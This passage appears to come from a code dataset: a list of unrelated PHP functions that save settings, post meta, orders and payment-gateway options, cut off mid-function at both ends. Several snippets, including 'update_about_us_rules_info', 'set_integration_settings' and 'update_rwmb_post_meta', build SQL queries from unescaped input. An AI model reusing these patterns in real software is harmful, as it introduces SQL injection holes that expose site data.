return false;\n }", "protected function ensureSettings()\n {\n if (empty(static::$requiredSettings)) {\n return true;\n }\n\n foreach (static::$requiredSettings as $requiredSetting) {\n if (!isset($this->settings[$requiredSetting])) {\n throw new \\BadMethodCallException('Required template setting [{' . $requiredSetting . '}] is missing.');\n }\n }\n\n return true;\n }", "function settingsupdate() {\n $this->auth(WL_ADM_LEVEL);\n $wl_id = $this->session->userdata('wl_id');\n $wl_data = $this->m_white_label->getById($wl_id);\n foreach ($_POST as $key=>$value) {\n if($key != 'save'){\n $data[$key] = $this->input->post($key);\n }\n }\n if($this->m_settings->update($wl_id, $data)){\n $this->m_settings->createSettingsFile($wl_id, $wl_data);\n $this->advsettings(2); \n }else{\n echo 'error';\n }\n }", "function action_save_postdata( $post_id ) {\n $inputValues = [\n 'cost_recommandation',\n 'link_recommandation'\n ];\n foreach ($inputValues as $inputValue) {\n $value = Services::getValue( $inputValue );\n if (false != $value)\n update_post_meta( $post_id, $inputValue, $value );\n }\n\n}", "function ghactivity_settings_validate( $input ) {\n\t$input['username'] = sanitize_text_field( $input['username'] );\n\t$input['access_token'] = sanitize_key( $input['access_token'] );\n\t$input['display_private'] = (bool) $input['display_private'];\n\t$input['repos'] = sanitize_text_field( $input['repos'] );\n\treturn $input;\n}", "function validate_options($input) {\n\n\t\tif(isset($_POST['save_wa_wcc_settings'])) {\n\n\t\t\t$input['show_count'] = (isset($input['show_count'], $this->choices[$input['show_count']]) ? ($input['show_count'] === 'yes' ? true : false) : $this->defaults['settings']['show_count']);\n\t\t\t$input['hide_if_empty'] = (isset($input['hide_if_empty'], $this->choices[$input['hide_if_empty']]) ? ($input['hide_if_empty'] === 'yes' ? true : false) : $this->defaults['settings']['hide_if_empty']);\n\t\t\t$input['posts_order'] = sanitize_text_field(isset($input['posts_order']) && $input['posts_order'] !== '' ? $input['posts_order'] : $this->defaults['settings']['posts_order']);\n\t\t\t$input['posts_orderby'] = sanitize_text_field(isset($input['posts_orderby']) && $input['posts_orderby'] !== '' ? $input['posts_orderby'] : $this->defaults['settings']['posts_orderby']);\n\t\t\t$input['category'] =$input['category'];\n\t\t\t$input['duration'] =isset($input['duration']) ? $input['duration'] : '400';\n\t\t\t$input['custom_css'] =isset($input['custom_css']) ? $input['custom_css'] : $this->defaults['settings']['custom_css'];\n\t\t\t$input['level'] =isset($input['level']) ? $input['level'] : '0';\n\n\n\t\t}elseif(isset($_POST['reset_wa_wcc_settings'])) {\n\n\t\t\t$input = $this->defaults['settings'];\n\n\t\t\tadd_settings_error('reset_general_settings', 'general_reset', __('Settings restored to defaults.', 'wa_wcc_txt'), 'updated');\n\t\t\n\t\t}\telseif(isset($_POST['reset_wa_wcc_configuration'])) {\n\n\t\t\t\t$input = $this->defaults['configuration'];\n\n\t\t\t\tadd_settings_error('reset_nivo_settings', 'nivo_reset', __('Settings of were restored to defaults.', 'wa_wcc_txt'), 'updated');\n\n\t\t}\telse if(isset($_POST['save_wa_wcc_configuration'])) {\n\n\t\t\t$input['loading_place'] = (isset($input['loading_place'], $this->loading_places[$input['loading_place']]) ? $input['loading_place'] : $this->defaults['configuration']['loading_place']);\n\t\t\t$input['deactivation_delete'] = (isset($input['deactivation_delete'], $this->choices[$input['deactivation_delete']]) ? ($input['deactivation_delete'] === 'yes' ? true : false) : $this->defaults['configuration']['deactivation_delete']);\n\t\t\t$input['load_jquery'] = (isset($input['load_jquery'], $this->choices[$input['load_jquery']]) ? ($input['load_jquery'] === 'yes' ? true : false) : $this->defaults['configuration']['load_jquery']);\n\t\t\t$input['load_mtree'] = (isset($input['load_mtree'], $this->choices[$input['load_mtree']]) ? ($input['load_mtree'] === 'yes' ? true : false) : $this->defaults['configuration']['load_mtree']);\n\t\t\t$input['load_velocity'] = (isset($input['load_velocity'], $this->choices[$input['load_velocity']]) ? ($input['load_velocity'] === 'yes' ? true : false) : $this->defaults['configuration']['load_velocity']);\n\t\t\n\t\t}\n\n\t\treturn $input;\n\t}", "public function updateNotificationSettingsObject()\n\t{\n\t\t// instantiate the property form\n\t\t$this->initNotificationSettingsForm();\n\n\t\t// check input\n\t\tif($this->notificationSettingsForm->checkInput())\n\t\t{\n\t\t\tif($_POST['notification_type']== 'all_users')\n\t\t\t{\n\t\t\t\t// set values and call update\n\t\t\t\t$this->objProperties->setAdminForceNoti(1);\n\t\t\t\t$this->objProperties->setUserToggleNoti((int)$this->notificationSettingsForm->getInput('usr_toggle'));\n\t\t\t\t$this->objProperties->setNotificationType('all_users');\n\t\t\t}\n\t\t\telse if($_POST['notification_type']== 'per_user')\n\t\t\t{\n\t\t\t\t$this->objProperties->setNotificationType('per_user');\n\t\t\t\t$this->objProperties->setAdminForceNoti(1);\n\t\t\t}\n\t\t\telse // if($_POST['notification_type'] == 'default')\n\t\t\t{\n\t\t\t\t$this->objProperties->setNotificationType('default');\n\t\t\t\t$this->objProperties->setAdminForceNoti(0);\n\t\t\t\t$this->objProperties->setUserToggleNoti(0);\n\t\t\t}\n\n\t\t\t$this->objProperties->update();\n\n\t\t\t// print success message\n\t\t\tilUtil::sendSuccess($this->lng->txt('saved_successfully'));\n\t\t}\n\t\t$this->notificationSettingsForm->setValuesByPost();\n\n\t\treturn $this->showMembersObject();\n\t}", "public function admin_update_payment_gateways()\n {\n $admin = true;\n include GEO_BASE_DIR . 'get_common_vars.php';\n //whether allowed to enable this type or not\n $can_enable = true;\n $is_enabled = (isset($_POST['enabled_gateways'][self::gateway_name]) && $_POST['enabled_gateways'][self::gateway_name]);\n\n if (isset($_POST[self::gateway_name]) && is_array($_POST[self::gateway_name]) && count($_POST[self::gateway_name]) > 0) {\n $settings = $_POST[self::gateway_name];\n\n //save common settings\n $this->_updateCommonAdminOptions($settings);\n\n //save non-common settings\n $this->set('sid', trim($settings['sid']));\n $this->set('secret', trim($settings['secret']));\n $this->serialize();\n }\n\n\n return true;\n }", "public function MetaIsInvalid() {\n\t\t\treturn false;\n\t\t}", "public function handle_meta_update($meta_id,$object_id,$meta_key,$meta_value){\n if('geo_latitude' != $meta_key && 'geo_longitude' != $meta_key){\n return;\n }\n\n // Do nothing if the value is 0\n if(0 == floatval($meta_value)) {\n return;\n }\n\n $locality = get_post_meta( $object_id, 'geo_locality', true);\n // If the locality is not empty just do nothing.\n if(!empty($locality)){\n return;\n }\n\n $latitude = floatval(get_post_meta( $object_id, 'geo_latitude', true));\n $longitude = floatval(get_post_meta( $object_id, 'geo_longitude', true));\n\n // Only do something when both values filled in.\n if(0 == $latitude || 0 == $longitude){\n return;\n }\n\n // Check if we want auto geo encoding.\n if(boolval(get_option('geocoded_posts_auto_geocode'))){\n self::fetch_locality_for_post($object_id,$latitude,$longitude);\n }\n\n }", "private function save_paypal_meta_data()\n {\n $postMeta = [\n 'payer_email' => 'Payer PayPal address',\n 'first_name' => 'Payer first name',\n 'last_name' => 'Payer last name',\n 'payment_type' => 'Payment type',\n ];\n\n foreach ($postMeta as $key => $name) {\n $value = wc_clean($this->request->get($key, FILTER_DEFAULT));\n $value and update_post_meta($this->order->get_id(), $name, $value);\n }\n }", "function update_website_settings()\n\t{\n\t\tif ($this->input->post('system_name'))\n\t\t{\n\t\t\t$data1['content']\t\t\t=\t$this->input->post('system_name');\n\n\t\t\t$this->db->where('name', 'system_name');\n\t\t\t$this->db->update('setting', $data1);\n\t\t}\n\n\t\tif ($this->input->post('currency'))\n\t\t{\n\t\t\t$data2['content']\t\t\t=\t$this->input->post('currency');\n\n\t\t\t$this->db->where('name', 'currency');\n\t\t\t$this->db->update('setting', $data2);\n\t\t}\n\n\t\tif ($this->input->post('tagline'))\n\t\t{\n\t\t\t$data3['content']\t\t\t=\t$this->input->post('tagline');\n\n\t\t\t$this->db->where('name', 'tagline');\n\t\t\t$this->db->update('setting', $data3);\n\t\t}\n\n\t\tif ($this->input->post('timezone'))\n\t\t{\n\t\t\t$data4['content']\t\t\t=\t$this->input->post('timezone');\n\n\t\t\t$this->db->where('name', 'timezone');\n\t\t\t$this->db->update('setting', $data4);\n\t\t}\n\n\t\tif ($this->input->post('address_line_1') && $this->input->post('address_line_2'))\n\t\t{\n\t\t\t$data6['content']\t\t\t=\t$this->input->post('address_line_1') . '<br>' . $this->input->post('address_line_2');\n\n\t\t\t$this->db->where('name', 'address');\n\t\t\t$this->db->update('setting', $data6);\n\t\t}\n\n\t\t$this->session->set_flashdata('success', 'Website settings has been updated successfully.');\n\n\t\tredirect(base_url() . 'website_settings', 'refresh');\n\t}", "private function settings_option($option){\n $models = new Models('settings');\n $where = array(\n 'type' => strval($option['type']),\n 'meta_key' => strval($option['meta_key'])\n );\n $exists = $models->check_row_exists($where);\n if($exists){\n $this->update_settings($models, $option);\n }else{\n $this->insert_settings($models, $option);\n }\n }", "public function validateSettings( $value, $name ) {\n\t\t\tswitch( $name ) {\n\t\t\t\t//This first case is deprecated and should no longer be used. Delete after next release.\n\t\t\t\tcase 'custom_s3_bucket_name':\n\t\t\t\t\t$value = trim( $value );\n\t\t\t\t\t$submitted_settings = $this->getSubmittedSettings();\n\t\t\t\t\tif ( isset( $submitted_settings['use_custom_s3_bucket'] ) && isset( $submitted_settings['enable_proxy_rewrites'] ) && $submitted_settings['use_custom_s3_bucket'] && $submitted_settings['enable_proxy_rewrites'] ) {\n\t\t\t\t\t\tif ( isset( $submitted_settings['forum_name'] ) ) {\n\t\t\t\t\t\t\t$forum_name = $submitted_settings['forum_name'];\n\t\t\t\t\t\t} elseif ( muut()->getForumName() != '' ) {\n\t\t\t\t\t\t\t$forum_name = muut()->getForumName();\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$forum_name = '';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$url_protocol = apply_filters( 'muut_s3_bucket_url_protocol', 'http' );\n\t\t\t\t\t\t$url = $url_protocol . '://' . $value . '.' . apply_filters( 'muut_amazon_s3_url', Muut::AMAZONS3URL ) . '/' . $forum_name;\n\t\t\t\t\t\t$valid = Muut_Field_Validation::validateExternalUri( $url );\n\t\t\t\t\t\tif ( !$valid ) {\n\t\t\t\t\t\t\t$error_args = array(\n\t\t\t\t\t\t\t\t'name' => $name,\n\t\t\t\t\t\t\t\t'message' => __( 'Custom S3 Bucket name must be associated with a valid server. Make sure it matches the bucket you set up with Muut from your forum page settings.'),\n\t\t\t\t\t\t\t\t'field' => 'muut_custom_s3_bucket_name',\n\t\t\t\t\t\t\t\t'new_value' => $value,\n\t\t\t\t\t\t\t\t'old_value' => muut()->getOption( $name ),\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t$this->addErrorToQueue( $error_args );\n\n\t\t\t\t\t\t\t// Unset the value, so nothing *breaks* (defaults to Muut.com indexing).\n\t\t\t\t\t\t\t$value = '';\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$value = sanitize_text_field( $value );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'forum_name':\n\t\t\t\t\t$value = trim( $value );\n\t\t\t\t\t// Make sure the forum name has no whitespace.\n\t\t\t\t\t$valid = Muut_Field_Validation::validateHasNoWhitespace( $value ) && Muut_Field_Validation::validateNoRegexEscaping( $value, array('-') );\n\n\t\t\t\t\tif ( !$valid ) {\n\t\t\t\t\t\t$error_args = array(\n\t\t\t\t\t\t\t'name' => $name,\n\t\t\t\t\t\t\t'message' => __( 'Forum name must contain no spaces or special characters of any kind. Make sure the forum name is the name you registered with Muut when you set up the forum.', 'muut' ),\n\t\t\t\t\t\t\t'field' => 'muut_forum_name',\n\t\t\t\t\t\t\t'new_value' => stripslashes($value),\n\t\t\t\t\t\t\t'old_value' => muut()->getForumName(),\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$this->addErrorToQueue( $error_args );\n\n\t\t\t\t\t\t$value = muut()->getForumName();\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$value = sanitize_text_field( $value );\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'subscription_api_key':\n\t\t\t\t\t$validations = array(\n\t\t\t\t\t\t'validateHasNoWhitespace',\n\t\t\t\t\t\t'validateAlphaNumeric',\n\t\t\t\t\t);\n\t\t\t\t\t$value = trim( $value );\n\t\t\t\t\t$valid = true;\n\t\t\t\t\tforeach ( $validations as $validation ) {\n\t\t\t\t\t\tif ( method_exists( 'Muut_Field_Validation', $validation ) && $valid ) {\n\t\t\t\t\t\t\t$valid = Muut_Field_Validation::$validation( $value );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( !$valid ) {\n\t\t\t\t\t\t$error_args = array(\n\t\t\t\t\t\t\t'name' => $name,\n\t\t\t\t\t\t\t'message' => __( 'API Key must have no spaces and only alphanumeric characters.', 'muut' ),\n\t\t\t\t\t\t\t'field' => 'muut_subscription_api_key',\n\t\t\t\t\t\t\t'new_value' => $value,\n\t\t\t\t\t\t\t'old_value' => muut()->getOption( $name ),\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$this->addErrorToQueue( $error_args );\n\n\t\t\t\t\t\t$value = muut()->getOption( 'subscription_api_key', '' );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$value = sanitize_text_field( $value );\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'subscription_secret_key':\n\t\t\t\t\t$validations = array(\n\t\t\t\t\t\t'validateHasNoWhitespace',\n\t\t\t\t\t\t'validateAlphaNumeric',\n\t\t\t\t\t);\n\t\t\t\t\t$value = trim( $value );\n\t\t\t\t\t$valid = true;\n\t\t\t\t\tforeach ( $validations as $validation ) {\n\t\t\t\t\t\tif ( method_exists( 'Muut_Field_Validation', $validation ) && $valid ) {\n\t\t\t\t\t\t\t$valid = Muut_Field_Validation::$validation( $value );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( !$valid ) {\n\t\t\t\t\t\t$error_args = array(\n\t\t\t\t\t\t\t'name' => $name,\n\t\t\t\t\t\t\t'message' => __( 'Secret Key must have no spaces and only alphanumeric characters.', 'muut' ),\n\t\t\t\t\t\t\t'field' => 'muut_subscription_secret_key',\n\t\t\t\t\t\t\t'new_value' => $value,\n\t\t\t\t\t\t\t'old_value' => muut()->getOption( $name ),\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$this->addErrorToQueue( $error_args );\n\n\t\t\t\t\t\t$value = muut()->getOption( 'subscription_secret_key', '' );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$value = sanitize_text_field( $value );\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\treturn $value;\n\t\t}", "public function update(Request $request, DomainMetaData $domainMetaData)\n {\n $data = json_decode($request->instance()->getContent(),true);\n if (!is_null($data) && count($data) != 0)\n {\n $rule = [\n 'domain_id' => 'sometimes|required|exists:domains,id',\n 'kind' => [\n 'sometimes',\n 'required',\n Rule::in([\n 'ALLOW-AXFR-FROM','API-RECTIFY','AXFR-SOURCE',\n 'ALLOW-DNSUPDATE-FROM','TSIG-ALLOW-DNSUPDATE',\n 'FORWARD-DNSUPDATE','SOA-EDIT-DNSUPDATE','NOTIFY-DNSUPDATE',\n 'ALSO-NOTIFY','AXFR-MASTER-TSIG',\n 'GSS-ALLOW-AXFR-PRINCIPAL','GSS-ACCEPTOR-PRINCIPAL',\n 'IXFR','LUA-AXFR-SCRIPT','NSEC3NARROW','NSEC3PARAM',\n 'PRESIGNED','PUBLISH-CDNSKEY','PUBLISH-CDS','SOA-EDIT',\n 'SOA-EDIT-API','TSIG-ALLOW-AXFR','TSIG-ALLOW-DNSUPDATE'\n ])\n ],\n 'content' => 'sometimes|required',\n ];\n $validator = Validator::make($data,$rule);\n if ($validator->passes())\n {\n $domainMetaData->update($data);\n return $this->response->noContent();\n }\n else\n {\n throw new UpdateResourceFailedException('DomainMetaData was not updated.',$validator->errors());\n }\n }\n else\n {\n throw new UpdateResourceFailedException('DomainMetaData data is required.');\n }\n }", "function admin_update_payment_gateways()\n {\n $admin = true;\n include GEO_BASE_DIR . 'get_common_vars.php';\n //whether allowed to enable this type or not\n $can_enable = true;\n $is_enabled = (isset($_POST['enabled_gateways'][self::gateway_name]) && $_POST['enabled_gateways'][self::gateway_name]);\n\n if (isset($_POST[self::gateway_name]) && is_array($_POST[self::gateway_name]) && count($_POST[self::gateway_name]) > 0) {\n $settings = $_POST[self::gateway_name];\n\n //save common settings\n $this->_updateCommonAdminOptions($settings);\n\n //save non-common settings\n $this->set('installation_id', trim($settings['installation_id']));\n $this->set('currency', $settings['currency']);\n $this->set('callback_password', trim($settings['callback_password']));\n $this->serialize();\n }\n\n\n return true;\n }", "function update_rwmb_post_meta($post_id, $meta_key, $meta_value)\n\t{\n\t\tglobal $wpdb;\n\n\t\t$updated = false;\n\n\t\t/* Delete old connections */\n\t\t$wpdb->query($wpdb->prepare(\"DELETE FROM \".$wpdb->postmeta.\" WHERE post_id = '%d' AND meta_key = %s AND meta_value NOT IN('\".implode(\"','\", $meta_value).\"')\", $post_id, $meta_key));\n\n\t\tif($wpdb->num_rows > 0)\n\t\t{\n\t\t\t$updated = true;\n\t\t}\n\n\t\t/* Insert new connections */\n\t\tforeach($meta_value as $value)\n\t\t{\n\t\t\t$wpdb->get_results($wpdb->prepare(\"SELECT meta_id FROM \".$wpdb->postmeta.\" WHERE post_id = '%d' AND meta_key = %s AND meta_value = '%d'\", $post_id, $meta_key, $value));\n\n\t\t\tif($wpdb->num_rows == 0)\n\t\t\t{\n\t\t\t\t$wpdb->query($wpdb->prepare(\"INSERT INTO \".$wpdb->postmeta.\" SET post_id = '%d', meta_key = %s, meta_value = '%d'\", $post_id, $meta_key, $value));\n\n\t\t\t\tif($wpdb->num_rows > 0)\n\t\t\t\t{\n\t\t\t\t\t$updated = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $updated;\n\t}", "public function ensureSettings() {\n $settings = $this->getSettings();\n if (!$settings) {\n $defaults = $this->getDefaultSettings();\n add_option($this->getSettingsKey(), $defaults, '', 'yes');\n }\n }", "public function update()\n {\n // $this->validate($request, [\n\t\t// \t'Company_Name' => 'required'\n\t\t// ]);\n // $requestData = $request->all();\n \n // $setting = Setting::findOrFail($id);\n // $setting->update($requestData);\n\n // Session::flash('flash_message', 'Setting updated!');\n\n // return redirect('invoice');\n }", "function set_integration_settings($dataIn) {\n\tglobal $db, $wpuAbs;\n\t\n\t// Map DB schema to our data keys\n\t$fullFieldSet = get_db_schema();\n\t\n\t//Clean data, and convert it to our DB schema\n\t\tforeach ($fullFieldSet as $var_name => $field_name ) {\n\t\t\tif ( array_key_exists($var_name, $dataIn) ) {\n\t\t\t\t$data[$field_name] =\t$dataIn[$var_name];\n\t\t\t\tif ($wpuAbs->ver == 'PHPBB3') {\n\t\t\t\t\t//$GLOBALS['config']['wpu_'.$field_name] = $dataIn[$var_name]; //if we unset them before, update config fails\n\t\t\t\t\tset_config('wpu_'.$field_name, $dataIn[$var_name]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\n\tif ($wpuAbs->ver == 'PHPBB3') {\n\t\treturn TRUE;\n\t}\n\t\n\t// see what's in the DB already\n\t$sql = 'SELECT * FROM ' . WP_INT_TABLE . ' LIMIT 1';\n\t$result = $db->sql_query($sql);\n\t\t\t\n\tif ( $db->sql_numrows($result) ) { \n\t\t// data is already in the database. Merge our data with it \n\t\t$row = $db->sql_fetchrow($result);\n\t\t$inboundData = '';\n\t\tforeach ( $row as $key => $value ) {\n\t\t\t$inboundData[$key] = clean_for_db_reinsert($value);\n\t\t}\n\t\t$dataOut = array_merge($inboundData, $data);\n\t\t\n\t\t// and write it out \n\t\t$iteration = 0;\n\t\t$sql = 'UPDATE ' . WP_INT_TABLE . ' SET ';\n\t\tforeach ($fullFieldSet as $varName => $fieldName ) {\n\t\t\t$fieldValue = $dataOut[$fieldName];\n\t\t\t$sql .= ( $iteration == 0) ? '' : ', '; //add commas\n\t\t\t$sql .= $fieldName . \" = '\" . $fieldValue . \"'\";\n\t\t\t$iteration++;\n\t\t}\n\t} else {\n\t\t// the table is empty. We can just throw our data in\n\t\t$iteration = 0;\n\t\tforeach ($fullFieldSet as $varName => $fieldName ) {\n\t\t\t$fieldValue = ( array_key_exists($fieldName, $data) ) ? $data[$fieldName] : '-99'; //turn unset data into '-99' \n\t\t\tif ( $iteration ) { //add commas\n\t\t\t\t$sqlLeft .= ', ';\n\t\t\t\t$sqlRight .= ', ';\n\t\t\t}\n\t\t\t$sqlLeft .= $fieldName;\n\t\t\t$sqlRight .= \"'\" . $fieldValue . \"'\";\n\t\t\t$iteration++;\n\t\t}\n\t\t$sql = 'INSERT INTO ' . WP_INT_TABLE . \"($sqlLeft) VALUES ($sqlRight)\";\n\t}\n\t//Finally -- write the data\t\n\tif (!$result = $db->sql_query($sql)) {\n\t\t//echo $sql;\n\t\t//message_die(GENERAL_ERROR, $lang['WP_DBErr_Retrieve'], __LINE__, __FILE__, $sql);\n\t\treturn FALSE;\n\t} else {\n\t//echo $sql;\n\t\treturn TRUE;\n\t}\t\t\n}", "public function update(Request $request, Settings $settings)\n {\n //\n }", "public function update_about_us_rules_info($data){\r\n $query = \"UPDATE tbl_aboutus_rules SET rules_details='$data[rules_details]', rules_one='$data[rules_one]', rules_two='$data[rules_two]', rules_three='$data[rules_three]',\r\n rules_four='$data[rules_four]', video='$data[video]', publication_status='$data[publication_status]' WHERE rules_id='$data[rules_id]'\";\r\n if (mysqli_query($this->db_connect, $query)) {\r\n session_start();\r\n $_SESSION['message'] = \"About Us Rules Regulation Updated Successfully!\";\r\n header('Location: manage_rules.php');\r\n } else {\r\n die(\"Query Problem! \" . mysqli_error($this->db_connect));\r\n }\r\n }", "protected function update_post_meta( &$order ) {\n\t\tglobal $wpdb;\n\n\t\t$edit_data = array(\n\t\t\t'order_key' => $order->get_order_key( 'edit' ),\n\t\t\t'customer_id' => $order->get_customer_id( 'edit' ),\n\t\t\t'payment_method' => $order->get_payment_method( 'edit' ),\n\t\t\t'payment_method_title' => $order->get_payment_method_title( 'edit' ),\n\t\t\t'transaction_id' => $order->get_transaction_id( 'edit' ),\n\t\t\t'customer_ip_address' => $order->get_customer_ip_address( 'edit' ),\n\t\t\t'customer_user_agent' => $order->get_customer_user_agent( 'edit' ),\n\t\t\t'created_via' => $order->get_created_via( 'edit' ),\n\t\t\t'date_completed' => $order->get_date_completed( 'edit' ),\n\t\t\t'date_paid' => $order->get_date_paid( 'edit' ),\n\t\t\t'cart_hash' => $order->get_cart_hash( 'edit' ),\n\n\t\t\t'billing_first_name' => $order->get_billing_first_name( 'edit' ),\n\t\t\t'billing_last_name' => $order->get_billing_last_name( 'edit' ),\n\t\t\t'billing_company' => $order->get_billing_company( 'edit' ),\n\t\t\t'billing_address_1' => $order->get_billing_address_1( 'edit' ),\n\t\t\t'billing_address_2' => $order->get_billing_address_2( 'edit' ),\n\t\t\t'billing_city' => $order->get_billing_city( 'edit' ),\n\t\t\t'billing_state' => $order->get_billing_state( 'edit' ),\n\t\t\t'billing_postcode' => $order->get_billing_postcode( 'edit' ),\n\t\t\t'billing_country' => $order->get_billing_country( 'edit' ),\n\n\t\t\t'billing_email' => $order->get_billing_email( 'edit' ),\n\t\t\t'billing_phone' => $order->get_billing_phone( 'edit' ),\n\n\t\t\t'shipping_first_name' => $order->get_shipping_first_name( 'edit' ),\n\t\t\t'shipping_last_name' => $order->get_shipping_last_name( 'edit' ),\n\t\t\t'shipping_company' => $order->get_shipping_company( 'edit' ),\n\t\t\t'shipping_address_1' => $order->get_shipping_address_1( 'edit' ),\n\t\t\t'shipping_address_2' => $order->get_shipping_address_2( 'edit' ),\n\t\t\t'shipping_city' => $order->get_shipping_city( 'edit' ),\n\t\t\t'shipping_state' => $order->get_shipping_state( 'edit' ),\n\t\t\t'shipping_postcode' => $order->get_shipping_postcode( 'edit' ),\n\t\t\t'shipping_country' => $order->get_shipping_country( 'edit' ),\n\n\t\t\t'discount_total' => $order->get_discount_total( 'edit' ),\n\t\t\t'discount_tax' => $order->get_discount_tax( 'edit' ),\n\t\t\t'shipping_total' => $order->get_shipping_total( 'edit' ),\n\t\t\t'shipping_tax' => $order->get_shipping_tax( 'edit' ),\n\t\t\t'cart_tax' => $order->get_total_tax( 'edit' ),\n\t\t\t'total' => $order->get_total( 'edit' ),\n\n\t\t\t'version' => $order->get_version( 'edit' ),\n\t\t\t'currency' => $order->get_currency( 'edit' ),\n\t\t\t'prices_include_tax' => $order->get_prices_include_tax( 'edit' ),\n\t\t);\n\n\t\t$changes = array();\n\n\t\tif ( $this->creating ) {\n\t\t\t$wpdb->insert(\n\t\t\t\t\"{$wpdb->prefix}woocommerce_orders\",\n\t\t\t\tarray_merge( array(\n\t\t\t\t\t'order_id' => $order->get_id(),\n\t\t\t\t), $edit_data )\n\t\t\t);\n\n\t\t\t// We are no longer creating the order, it is created.\n\t\t\t$this->creating = false;\n\t\t} else {\n\t\t\t$changes = array_intersect_key( $edit_data, $order->get_changes() );\n\n\t\t\tif ( ! empty( $changes ) ) {\n\t\t\t\t$wpdb->update(\n\t\t\t\t\t\"{$wpdb->prefix}woocommerce_orders\",\n\t\t\t\t\t$changes,\n\t\t\t\t\tarray(\n\t\t\t\t\t\t'order_id' => $order->get_id(),\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\n\t\t$updated_props = array_keys( (array) $changes );\n\n\t\t// If customer changed, update any downloadable permissions.\n\t\tif ( in_array( 'customer_user', $updated_props ) || in_array( 'billing_email', $updated_props ) ) {\n\t\t\t$data_store = WC_Data_Store::load( 'customer-download' );\n\t\t\t$data_store->update_user_by_order_id( $order->get_id(), $order->get_customer_id(), $order->get_billing_email() );\n\t\t}\n\n\t\tdo_action( 'woocommerce_order_object_updated_props', $order, $updated_props );\n\t}", "public function checkSetup()\n {\n if ($this->itemType == \"\") {\n die(\"No itemType provided!\");\n }\n if ($this->classPathBase == \"\") {\n die(\"No classPathBase provided!\");\n }\n if ($this->listView == \"\" && empty($this->listNames)) {\n die(\"Provide either a list view OR fields!\");\n }\n if ($this->createView == \"\" && empty($this->editSettings)) {\n die(\"No create view OR editSettings provided!\");\n }\n\n if (! empty($this->editSettings)) {\n $fields = ['label','type'];\n foreach ($this->editSettings as $key => $es) {\n foreach ($fields as $f) {\n if (empty($es[$f])) {\n die(\"An edit parameter - {$f} - is missing or blank in your config for \\\"{$key}\\\".\");\n }\n }\n }\n }\n }", "public function updateSettings($settings_array)\n {\n $res = [];\n\n foreach ($settings_array as $setting_key => $setting_value) {\n $this->db->query(\"UPDATE settings SET setting_value = :value WHERE setting_key = :key\");\n\n $this->db->bind(\":key\", $setting_key, \\PDO::PARAM_STR);\n $this->db->bind(\":value\", $setting_value, \\PDO::PARAM_STR);\n\n array_push($res, $this->db->execute());\n }\n\n if (in_array(false, $res)) {\n return false;\n } else {\n return true;\n }\n }", "public function rules()\n {\n return [\n 'mentorship_id' => 'bail|required|numeric|exists:solution_mentors,id,deleted_at,NULL',\n\n 'title' => 'required|string',\n 'description' => 'required|string',\n\n 'settings' => 'nullable|',\n\n 'settings.start_date_enabled' => 'nullable|boolean',\n 'settings.start_date' => 'required_if:\"settings.start_date_enabled\",==,true|date|date_format:\"Y-m-d H:i\"',\n\n 'settings.due_date_enabled' => 'nullable|boolean',\n 'settings.due_date' => 'required_if:\"settings.due_date_enabled\",==,true|date|date_format:\"Y-m-d H:i\"',\n\n 'settings.cut_off_date_enabled' => 'nullable|boolean',\n 'settings.cut_off_date' => 'required_if:\"settings.cut_off_date_enabled\",==,true|date|date_format:\"Y-m-d H:i\"',\n\n 'settings.grading_due_date_enabled' => 'nullable|boolean',\n 'settings.grading_due_date' => 'required_if:\"settings.grading_due_date_enabled\",==,true|date|date_format:\"Y-m-d H:i\"',\n\n 'settings.online_text_enabled' => 'nullable|boolean',\n 'settings.online_text_word_limit' => 'required_if:\"settings.online_text_enabled\",==,true|integer',\n\n 'settings.file_submission_enabled' => 'nullable|boolean',\n 'settings.max_uploaded_files' => 'required_if:\"settings.file_submission_enabled\",==,true|integer',\n 'settings.max_submission_size' => 'required_if:\"settings.file_submission_enabled\",==,true|integer',\n\n 'settings.notifications_enabled' => 'nullable|boolean',\n ];\n }", "public function updateSettings (\n\t)\t\t\t\t\t\t// RETURNS <bool> TRUE if the update is successful, FALSE if there is a failure.\n\t\n\t// $contentForm->updateSettings();\n\t{\n\t\t// Title of the Post\n\t\tif(isset($_POST['title']) and $_POST['title'] != $this->contentData['title'])\n\t\t{\n\t\t\t$this->contentData['title'] = Sanitize::safeword($_POST['title'], \"'\\\"?\");\n\t\t\t$this->settingUpdate = true;\n\t\t}\n\t\t\n\t\t// Primary Hashtag\n\t\tif(isset($_POST['primary_hashtag']) and $_POST['primary_hashtag'] != $this->contentData['primary_hashtag'])\n\t\t{\n\t\t\t$this->contentData['primary_hashtag'] = $_POST['primary_hashtag'];\n\t\t\t$this->settingUpdate = true;\n\t\t}\n\t\t\n\t\t// Description\n\t\tif(isset($_POST['description']) and $_POST['description'] != $this->contentData['description'])\n\t\t{\n\t\t\t$this->contentData['description'] = $_POST['description'];\n\t\t\t$this->settingUpdate = true;\n\t\t}\n\t\t\n\t\tif(Me::$clearance >= 6)\n\t\t{\n\t\t\t// Author\n\t\t\tif(isset($_POST['author']) and $_POST['author'])\n\t\t\t{\n\t\t\t\tif($authorID = User::getIDByHandle(Sanitize::variable($_POST['author'])))\n\t\t\t\t{\n\t\t\t\t\tif($authorID != $this->contentData['uni_id'])\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->authorUpdate = $this->contentData['uni_id'];\n\t\t\t\t\t\t$this->contentData['uni_id'] = 